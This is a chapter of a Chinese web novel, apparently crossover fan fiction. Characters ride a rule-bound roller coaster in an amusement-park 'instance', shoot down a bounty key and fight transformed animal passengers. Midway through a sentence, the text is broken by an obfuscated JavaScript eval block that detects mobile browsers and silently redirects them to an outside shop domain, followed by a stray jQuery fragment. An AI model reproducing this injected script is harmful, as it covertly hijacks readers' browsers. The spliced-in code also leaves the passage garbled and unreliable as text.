帕米尔一行人到达云霄飞车入口时,队伍已经排了很长。

    托尼他们去鬼屋的同时,帕米尔、迪克、加布、艾登、梅和杰森六个人往云霄飞车的方向走。

    云霄飞车在游乐园的北侧,轨道从远处就能看到——灰白色的钢架在日光中呈现出金属的冷色,环形轨道在最高处形成一个完整的圆环,在蓝天的背景下像一道静止的弧线。

    队伍里排着各种有着动物特征的人类。

    有人长着猫耳,有人身后拖着毛茸茸的尾巴,有人手臂上覆着羽毛,有人皮肤表面有细密的鳞片光泽。纯人类的面孔在队伍里反而少见。

    帕米尔站在队伍中段,视线依次扫过前面几个人的后脑勺和肩膀,简单辨认了一下,他们到底是什么物种。

    入口处立着一块旧告示牌,上面用褪色的字迹写着几行字,字迹已经有些模糊了,边缘泛黄,像是被贴在这里很久了。帕米尔走近了几步,把告示牌上的内容看了一遍。

    "云霄飞车运营须知:

    一、本设施仅限持有相应票种的游客乘坐。请确认您的票面包含此项目。

    二、请勿在过山车运行过程中解开安全带。如有物品掉落,可在终点站向工作人员申报。

    三、如听到呼救声,请勿理会。该声音为设施运行产生的幻觉。

    四、如眼前突然出现猩红色,请闭眼。此现象为过山车通过特定轨道段时的正常反应,将持续三至五秒,闭眼可有效缓解。

    五、严禁投喂车内乘客。

    六、每轮过山车上必须同时有三种颜色袖标的乘客,每种颜色不得超过10人。"

    迪克:投喂乘客是认真的吗?

    站台上站着一只白绵羊玩偶人,大概充当了安排乘客上车的工作人员。

    迪克站在他旁边,侧过头观察着正在往前推进的队伍。他们的队伍大约排了十五分钟,移动到站台,白绵羊站在检票口旁边,手里拿着一叠袖标。

    它的声音从身体内部传出来,经过一层布料的过滤后变得更闷了一些:"请各位领取袖标,按颜色分区就座。"

    工作人员面前放着几个托盘,每个托盘里放着一叠不同颜色的袖标。它依次发放,绿色是陆地哺乳动物,蓝色是水生动物,黄色是飞禽,白色是两栖类。

    梅拿起一个绿色袖标,系在左臂上,站在旁边等其他人。艾登飘到迪克旁边,接过一个绿色袖标,队伍继续向前移动。帕米尔也领到了绿色的,系在左臂上,他注意到前方一组乘客也领到了类似的绿色袖标——一只兔子父亲,耳朵长而垂,正低头帮他的孩子系袖标。旁边一只有着猫耳的母亲正把她的孩子抱上座位。

    帕米尔继续扫视,他的视线越过那组猫母子,落在稍远处的另一个人身上——一个女人,手臂上覆着灰白色的羽毛,领口露出细长的颈线,袖标是黄色的。她身边带着一对双胞胎,两个孩子袖标也是黄色。

    再往前,一个身材瘦长的父亲,皮肤在日光下呈现出浅蓝灰色的光泽,袖标是蓝色的。他旁边站着一个比他矮一半的孩子,身体圆滚滚的,袖标也是蓝色。

    迪克站在帕米尔旁边,他的视线也在扫视,尽管在副本的环境里不免紧张,但他开口的时候语气是轻松的,试图搭话:"您玩过这个吗?"

    帕米尔侧过头看他,迪克已经转向了那个黄袖标的女人,语气里带着随意的、有距离但不过分的亲近:"这个过山车看起来还挺吓人的,我的孩子有点害怕,但还是坚持要体验一下……您的孩子不怕吗?"

    帕米尔:似乎被占便宜了。

    尽管如此帕米尔还是配合着迪克,装作怯生生的躲在迪克的腿后,有点腼腆的看着面前这位女士。

    女人侧过头看了他一眼,她的眼睛在日光下呈现出一种偏黄的色调,在视线接触的过程中缓慢地眨了一下。

    "我们是夜鹭,鸟类是不害怕高空的。"她说,"你呢?"

    "纯人类。"迪克说。

    “你认识那边那位男士吗?我看你们好像是一起来的,关系真好啊,是因为孩子们是朋友吗?”

    “哦,并不是。我和那位旗鱼先生是关系不错的同事,正好放假在同一天就带着孩子来游乐园了。”

    迪克注意到了她的称呼,这里的“人”呼唤别人好像都不呼唤名字,而是物种加后缀。

    不过也正好方便了他们。

    迪克收回视线,说了一声"谢谢",然后转向帕米尔的方向。

    "哦,我们人见人爱的格雷森警官,又在散发魅力了。"帕米尔笑着调侃道。

    迪克有点无奈地抱起帕米尔,让他坐在自己的臂弯里。

    不得不说,这样更可爱了。

    迪克笑了笑,捏了一下帕米尔软乎乎的脸:“别打趣我了,帕米,你知道的,我更喜欢对着你散发魅力,嗯?”

    ———

    他们被分配到同一车次,每两个人坐一排,他们选了三排相邻的座位,帕米尔和迪克坐在最前面,挨着那些兽人,而加布和艾登坐在车尾。

    工作人员逐一检查了每个人的安全带。帕米尔低头确认了扣环的状态,然后靠在座椅靠背上。他的尾巴绕过座椅侧面的缝隙自然垂下,尾端悬在座椅边缘,安全杆压下来,锁扣发出连续的、短促的金属扣合声,持续了大约十秒。

    "即将发车。"

    过山车开始缓慢移动。

    云霄飞车这个项目涉及到的悬赏物一共有两种。

    1.轨道底端挂的旧钥匙。(报酬500)

    2.游玩结束后工作人员给活下来的人发的钥匙扣(每个报酬100)

    爬升的过程比预想中长,轨道在上升过程中保持着稳定的倾斜角度。两侧的视野逐渐升高,游乐园的屋顶和树冠在视野中逐渐变小。

    风从正面吹过来,带着轻微的凉意。帕米尔的尾巴在座椅边缘轻轻摆动着,他的视线落在前方轨道蜿蜒的路径上,随着轨道的走向逐段扫过。

    过山车爬升到顶端。最高处的轨道在到达最高点之前有一个短暂的停顿。然后开始俯冲。下坠的过程中风从正面灌过来,把头发和衣领吹向后方。气流的方向在下降过程中出现过偏转。

    过山车快速通过了一段盘旋轨道,速度在高处时达到峰值。帕米尔感觉到尾巴在座椅边缘被风拉直了,他调整了一下姿态,让它回到座椅侧面。

    迪克的声音从旁边传过来,在风中被切成了断续的片段:"环形轨道顶端——挂着钥匙——"帕米尔顺着他指的方向看过去。环形轨道最高点处有一条细线垂下来,末端系着一把钥匙,在过山车从环形轨道顶端经过时,那截线段在视野中持续地晃动了一会儿,然后被甩到了视线边缘。

    加布侧过头,视线锁定在钥匙的位置。"距离足够了。"

    他解开了安全带,从座位上侧过身,手伸向艾登的方向——从艾登的靴筒侧面抽出一把短管手枪。

    杰森刚因为他的话回过头,就看到了这一幕。

    杰森说:"我艹,先不说你为什么把枪放到队长鞋里,你在过山车上拔枪?"

    “给队长一点保护措施嘛,之前又不知道他会变回正常小孩。”加布正在瞄准。"不是有爬升的时间吗?总之打下来再拿呗。"

    梅的声音从侧面传过来:"你的风偏需要修正。时速六十公里以上的气流会让弹道向右偏转大约两指宽。"加布侧过头看了她一眼。梅的Q版狙击枪已经架好了,枪管架在前排座椅的靠背上。

    坐在他们正前方的迪克感到后背凉飕飕的。

    “喂,别不信我啊,我们之间的信任呢,小梅?”

    "你先打"她说。

    加布无语,重新调整了准星位置,枪口在过山车进入下一段直线轨道时稳定了下来。

    他扣动扳机。枪声在气流中被压扁了,没有传得太远。

    “Yes! 中了!”

    钥匙随着绳线被击断落向轨道下方,杰森提前解开了安全带,探出半个身子,用钩爪枪勾住了坠落的钥匙。

    他重新坐回座位,把安全带扣好。加布的枪已经收回了艾登的靴筒侧面。

    "拿到了。"杰森冲着他晃了晃钥匙。

    但是很不巧,在这段时间里,车上的乘客发生了变化。

    坐在前方五排的兔子父亲侧过头来,他的眼睛从棕色变成暗红色,手指扣在安全杆上,骨骼和肌肉的运动轨迹已经超出了正常范围。猫母子也动了——猫母亲的爪子已经从座位侧面伸出来了,她的孩子跟在她后面,正抓着座椅边缘向他们所在的方向移动。

    旗鱼父亲没有动,但他旁边的孩子正在挣脱安全带。

    帕米尔头疼:"它们失控了。"已经有两个向迪克的方向靠近了。

    猫母亲的爪子探向迪克的手臂,帕米尔从侧面切入了她与迪克之间的空隙,剑柄抵住了她的手腕。她被挡开了,但没有后退,她的肢体在轨道外的空间里重新调整了攻击的方向。

    帕米尔感觉到有东西从侧面接近——是兔子父亲的后爪——他偏了一下身体避开了它的轨迹,然后它擦过了他肩部的布料。

    杰森的声音从侧后方传来,比平时高了一些:"我靠,那个旗鱼孩子不会是鲸鱼吧??!"

    加布正在用枪托挡住一只猫的爪子,他在间隙中看了一眼旗鱼孩子的体型,和它父亲相比,它的身体确实呈现出一种更加圆润的轮廓,头部的比例也略微偏大。

    "它父亲是旗鱼!它不可能有鲸鱼幼崽的!"

    “别搞你那套经验主义了!谁规定那必须是亲生的,罗宾还不是蝙蝠亲生的呢!还不是走哪跟哪儿?!”

    “行了,你俩什么时候了还吵。梅!”——这是无力的队长。

    有的时候对伍里有俩活宝也挺难受的。

    (布鲁斯:我可以替你分担一个。艾登:别来沾边,谢谢。)

    梅一直很安静。在加布打出第一枪之后,她调整了瞄准角度,侧过头确认了旗鱼孩子的位置,然后架稳了枪管。

    她扣动了扳机。

    子弹穿过它的躯干,在击中点产生了一次短暂的闪光,然后从它的背部穿出,在空气中消散了。

    那些乘客的动作在子弹击中的同时停顿了,仿佛被同时关掉了某个开关。猫母子的爪子收了回去,兔子父亲的头转回了前方。旗鱼孩子的身体被击中后没有再移动。它的轮廓开始变淡,边缘逐渐模糊,从身体的末端开始缓慢地消散。

    那些前一秒还在张牙舞爪攻击他们的疯狂动物,现在仿佛是被操纵了一般僵硬的回到了自己的位置,在他们坐下的那一刻,安全带自动扣好了。

    几乎是事情解决的下1秒,过山车俯冲而下。

    杰森低头看了一眼手里的钥匙,终于抽出时间来确认了它的状态,带着一点对阔佬的不解说:"这破玩意儿真的值500块?!白粉贩子看见了都得流下嫉妒奸商的泪水。"

    "小子,这就是大人的世界!"加布坐在杰森后面扯着脖子喊,呼啸的风声让他的声音有些模糊。

    过山车继续向前,在接下来的轨道段中,他们几乎是把规则中的事都经历了一遍,而迪克终于明白那个禁止投喂乘客是怎么回事了。

    在过山车度过一段红了巴唧的轨道后,车上剩下的那些乘客突然就出现在了他们手里,以动物的形态。

    迪克手里突然多出了两只兔子,转头一看,帕米尔的位置上放着一根胡萝卜,而帕米尔本人不知所踪了。

    “我靠!”骂声x 3

    迪克迅速把那两只蠢蠢欲动的兔子单手压在了座位的另一侧,然后赶紧把那个要掉出去的胡萝卜紧紧攥在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840973|211163||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    手里。

    他的头上飞过了一条鱼和两只猫。

    ……看来是杰森和加布把它们丢回到原来的位置上了。

    迪克松了一口气,但很快察觉到不对。

    说起来,那两只夜鹭呢?

    迪克眼睁睁看着两只巨大的夜鹭叼起了刚刚不知道被谁扔回去的旗鱼飞走了。

    飞走了。

    走了。

    了。

    好了,至少现在这辆车上的危险来源一下子减了三个。(迪克爽朗的笑)

    经过了一系列的折磨,帕米尔他们终于变了回来,而过山车开始减速。

    坡度变缓,两侧的视野从轨道结构逐渐过渡到地面和建筑。工作人员正在站台前方等待——那只白绵羊站在出口处,手里端着一个托盘,里面整齐地排列着钥匙扣,每一条都连着一个云霄飞车的小模型。

    它像是在等待他们,比他们到达的时间提前了相当长的一段时间,又像是原本就站在那里。

    六个人依次下车,车上的那些没有变回来的动物乱七八糟的跑走了。

    帕米尔在站台上站定,确认了其他人的位置——迪克正在把刚才被风掀起的袖口拉平,艾登正在低头检查自己的袖标有没有被扯歪,杰森正在观察手里的钥匙。

    站台出口处的白绵羊把托盘朝他们的方向略微倾斜了一点。

    "奖励。"它的声音从身体内部传出来,"每人一个。"帕米尔接过钥匙扣翻看了一下。

    金属表面上印着云霄飞车的轮廓线条,工艺简单但还挺好看的。

    "拿着吧。"他把它收进口袋里,"这可是珍贵的饭钱。"

    ———

    他们从云霄飞车出口出来的时候,鬼屋那边还没有动静。帕米尔看了一眼时间,又看了一眼鬼屋的方向,从距离和时间来看,托尼他们应该还没出来。

    "鬼屋可能比较长。"他说,"我们先去游客中心那边等。"

    他们沿着主路往回走,经过旋转木马和碰碰车区域时听到音乐声从不同方向传来,混合在一起,形成一种持续的、重叠的背景音。

    在游客中心附近的树荫下,他们遇到了布鲁斯和艾莉。

    布鲁斯靠在一张旧长椅旁边的树干上,正在看手里的某张纸。艾莉坐在他旁边的地面上,手里拿着一片树叶在翻来覆去地看,他旁边还放着一些整理好的宣传单页和一张手写的便签。

    布鲁斯看到他们走近的时候站直了身体。

    "你们出来了。"他扫了一眼六个人,确认了所有人都还在,"鬼屋那边还没出来。"

    "你们这边有发现吗?"迪克问道。

    布鲁斯把一张宣传单页递了过来——一张游乐场地图,上面标记着各个区域的名称和位置。

    他指着地图上的一个位置:"游客中心侧面有一间纪念品商店。门锁着,但从侧面窗户能看到里面。有一些玩偶和旧钥匙,不知道和任务有没有关系。"

    艾莉站起来,她走到迪克面前,把手里的树叶举起来,过了两秒又放下,没有声音,没有解释。她又转身走回长椅边坐下了。

    帕米尔站在旁边看了一眼树叶——它已经干枯了,边缘卷曲,颜色偏深,像是已经被摘下来很久了。

    迪克:这是要干吗?和他展示自己的战利品吗?

    帕米尔:这个树叶有什么特殊的吗?

    艾莉:只是想要维持自己的神秘人设。

    帕米尔收起地图,转头看向鬼屋的方向,那扇门还关着。

    "等他们出来再说。"

    他们在树荫下等了大约半个小时。

    鬼屋的门开了。

    托尼走在最前面,手里还拿着个鼓鼓囊囊的纸袋。小蜘蛛跟在他旁边,正在低头检查自己的外套下摆,确认了自己的衣服并没有受到什么损伤才抬起头来。

    美队走在冬兵侧面,冬兵落在最后,他在离开鬼屋时回头看了一眼,在门合拢之前收回了视线。

    帕米尔从长椅扶手上站起来,长舒了一口气,"你们出来了。"

    托尼走近的时候把纸袋口子撑开让帕米尔看了一眼。里面有三样东西——一只塑料人偶手臂、一颗塑料人头、一份旧文件(以及一些其他零零散散的纸)。

    "悬赏齐了。"托尼说。他走到众人中间,把纸袋放到树荫下的地面上,拍了拍手上的灰,"鬼屋里是个学校。故事大概和我们猜的差不多,有学生因为霸凌出了事,学校压下去了,然后学校变成了鬼屋的一部分。不过值得一提的是里面有个boss好像有智慧,据他所言,鬼屋以前是个小副本。"

    小蜘蛛站在他旁边接话,语速很快,:"教室里的木偶真的是上课的姿势——有的趴在桌上,有的侧着头看黑板——说实话有点吓人,我再看到木偶一定会绕着走的。有一颗眼球形状的东西投影在墙上,但碰不到它。"

    美队补充:"我们还在档案室找到了关于那个学生的记录——被霸凌、休学、之后他去了天台。没有更详细的信息,只有一段手写备注。学校选择压住了事件。至于天台——门锁着,但有撬开过的痕迹,我们没有进去。"

    冬兵站在他侧后方,没有补充。他的视线从托尼手里的纸袋上移开,没有开口,也没有多停留。

    杰森听完,声音从队伍侧后方传来,带着他惯有的、短促的尾音:"所以你们多花了半个多小时,找出了一堆校园霸凌的记录?"

    布鲁斯说:"多收集信息总是好的。"

    杰森对着他翻了个白眼:"我没有在问你。"

    他转向托尼,"之前并没有出现过大副本套小副本的案例,这和那个疑似有智慧的boss有关系吗?"

    "Well,也许和游乐园背后的某个东西关系更大,我们要做好打硬仗的准备了。"托尼摊了摊手。